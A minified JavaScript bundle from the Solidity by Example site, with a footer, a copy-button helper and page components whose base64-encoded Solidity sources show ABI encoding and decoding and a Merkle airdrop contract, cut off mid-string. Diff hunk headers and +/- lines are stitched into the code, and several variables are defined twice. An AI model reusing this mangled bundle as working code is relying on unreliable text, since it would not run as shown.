hg="https://cryptojobslist.com/solidity",AC="_component_h47vh_1",uC="_row_h47vh_8",yC="_bar_h47vh_13",mC="_to_h47vh_21",bC="_social_h47vh_24",wC="_sce_h47vh_29",kC="_telegram_h47vh_34",ZC="_discord_h47vh_38",WC="_youTube_h47vh_42",Is={component:AC,row:uC,bar:yC,to:mC,social:bC,sce:wC,telegram:kC,discord:ZC,youTube:WC},BC="data:image/png;base64,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",Ig="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",GC="/assets/telegram-DMavHjFx.png",VC="/assets/discord-BqSoMD3G.png";function fC(){return r.jsxs("div",{className:Is.component,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:BC,alt:"smart contract engineer",className:Is.sce}),r.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),r.jsxs("div",{className:Is.social,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:VC,alt:"discord",className:Is.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:GC,alt:"telegram",className:Is.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:Ig,alt:"youtube",className:Is.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:Is.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:Is.row,children:[r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"Source"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"License"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:hg,target:"__blank",children:"Solidity jobs"})]})]})}const YC=({children:s})=>{const{state:a}=tt(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Xl.component,children:[r.jsx("div",{ref:n,className:Xl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(pC,{onClick:l}):null}),r.jsxs("div",{className:Xl.main,children:[r.jsx(jC,{}),r.jsxs("div",{className:Xl.children,children:[s,r.jsx(fC,{})]})]})]})},dg=({title:s,description:a})=>(W.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),Yo=' ',XC='';function vC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=XC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(vC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),NC="_component_ni5i2_1",HC="_content_ni5i2_5",KC="_prevNext_ni5i2_8",he={component:NC,content:HC,prevNext:KC},A=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>r.jsxs("div",{className:he.component,children:[r.jsx(dg,{title:`${s} | Solidity by Example | ${a}`,description:n}),r.jsxs("div",{className:he.content,children:[r.jsx("h2",{children:s}),r.jsx(RC,{html:l}),r.jsxs("div",{className:he.prevNext,children:[p&&r.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&r.jsxs("a",{href:e.path,children:[e.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:c.map(({fileName:t,code:o},i)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},i))})]})]}),FC="0.8.24",MC="ABI Decode",SC="ABI decode bytes",xC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],JC=`

abi.encode encodes data into bytes.

abi.decode decodes bytes back into data.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -99,7 +99,7 @@ Error generating stack: `+e.message+`
             abi.decode(data, (uint256, address, uint256[], MyStruct));
     }
 }
-
`,DC=({prev:s,next:a})=>r.jsx(A,{version:MC,title:SC,description:xC,html:zC,prev:s,next:a,codes:JC}),EC="0.8.24",QC="ABI Encode",TC="ABI encode",UC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],_C=`
// SPDX-License-Identifier: MIT
+
`,zC=({prev:s,next:a})=>r.jsx(A,{version:FC,title:MC,description:SC,html:JC,prev:s,next:a,codes:xC}),DC="0.8.24",EC="ABI Encode",QC="ABI encode",TC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],UC=`
// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 interface IERC20 {
@@ -143,7 +143,7 @@ Error generating stack: `+e.message+`
         return abi.encodeCall(IERC20.transfer, (to, amount));
     }
 }
-
`,LC=({prev:s,next:a})=>r.jsx(A,{version:EC,title:QC,description:TC,html:_C,prev:s,next:a,codes:UC}),OC="0.8.24",PC="Merkle Airdrop",$C="Airdrop contract using Merkle tree",qC=[{fileName:"Airdrop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7TWVya2xlUHJvb2Z9IGZyb20gIi4vTWVya2xlUHJvb2Yuc29sIjsKCmludGVyZmFjZSBJVG9rZW4gewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEFpcmRyb3AgewogICAgZXZlbnQgQ2xhaW0oYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpOwoKICAgIElUb2tlbiBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgYnl0ZXMzMiBwdWJsaWMgaW1tdXRhYmxlIHJvb3Q7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGNsYWltZWQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4sIGJ5dGVzMzIgX3Jvb3QpIHsKICAgICAgICB0b2tlbiA9IElUb2tlbihfdG9rZW4pOwogICAgICAgIHJvb3QgPSBfcm9vdDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRMZWFmSGFzaChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGUodG8sIGFtb3VudCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YsIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICB7CiAgICAgICAgLy8gTk9URTogKHRvLCBhbW91bnQpIGNhbm5vdCBoYXZlIGR1cGxpY2F0ZXMKICAgICAgICBieXRlczMyIGxlYWYgPSBnZXRMZWFmSGFzaCh0bywgYW1vdW50KTsKCiAgICAgICAgcmVxdWlyZSghY2xhaW1lZFtsZWFmXSwgImFpcmRyb3AgYWxyZWFkeSBjbGFpbWVkIik7CiAgICAgICAgcmVxdWlyZShNZXJrbGVQcm9vZi52ZXJpZnkocHJvb2YsIHJvb3QsIGxlYWYpLCAiaW52YWxpZCBtZXJrbGUgcHJvb2YiKTsKICAgICAgICBjbGFpbWVkW2xlYWZdID0gdHJ1ZTsKCiAgICAgICAgdG9rZW4ubWludCh0bywgYW1vdW50KTsKCiAgICAgICAgZW1pdCBDbGFpbSh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"AirdropTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7TWVya2xlSGVscGVyfSBmcm9tICIuL01lcmtsZUhlbHBlci5zb2wiOwppbXBvcnQge0FpcmRyb3B9IGZyb20gIi4uLy4uLy4uL3NyYy9hcHAvYWlyZHJvcC9BaXJkcm9wLnNvbCI7CmltcG9ydCB7VG9rZW59IGZyb20gIi4uLy4uLy4uL3NyYy9hcHAvYWlyZHJvcC9Ub2tlbi5zb2wiOwoKY29udHJhY3QgQWlyZHJvcFRlc3QgaXMgVGVzdCB7CiAgICBUb2tlbiBwcml2YXRlIHRva2VuOwogICAgQWlyZHJvcCBwcml2YXRlIGFpcmRyb3A7CgogICAgc3RydWN0IFJld2FyZCB7CiAgICAgICAgYWRkcmVzcyB0bzsKICAgICAgICB1aW50MjU2IGFtb3VudDsKICAgIH0KCiAgICBSZXdhcmRbXSBwcml2YXRlIHJld2FyZHM7CiAgICBieXRlczMyW10gcHJpdmF